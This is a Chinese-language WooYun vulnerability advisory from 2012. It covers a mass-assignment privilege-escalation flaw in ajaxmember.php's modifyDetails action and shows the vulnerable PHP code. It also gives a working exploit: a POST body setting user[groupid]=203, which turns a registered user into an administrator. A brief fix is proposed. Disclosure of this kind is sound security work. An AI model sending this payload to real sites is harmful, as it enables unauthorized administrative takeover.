漏洞概要 关注数(24) 关注此漏洞
>
漏洞详情
披露状态:
2012-02-03: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-02-03: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
普通用户提权漏洞,可以提升为管理员权限。
详细说明:
<漏洞分析>
ajaxmember.php
case "modifyDetails":
$user = $_POST['user'];
if(getPopedom(5) == 0)
{
$user['usertitle'] = '';
}
if($user["email"] == "")
{
exit("资料不完整。");
}
foreach(explode(",", $cache_settings['reservedkeyword']) as $rkey)
{
if(!empty($rkey) && stristr($user['usertitle'], $rkey))
{
exit("自定义头衔含有禁用关键字");
}
}
$db->row_update("users", $user, "id={$lg['userid']}");
succeedFlag();
break;
user 数组未做任何限制导致用户POST一个user[groupid]=203的字段,row_update就会更新users表的groupid字段,把普通用户的权限更改为管理员。
漏洞证明:
<漏洞利用>
1、 注册并登陆一个用户。
2、 向/ajaxmember.php?action=modifyDetails页面post数据
user%5Bgroupid%5D=203&user%5Bemail%5D=aaaa%40aaaa.com
3、重新登录用户,即为管理员权限。
修复方案:
在更新之前加上验证语句,只保留允许更新的字段。
版权声明:转载请注明来源 insight-labs@乌云
>
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝
漏洞Rank:8 (WooYun评价)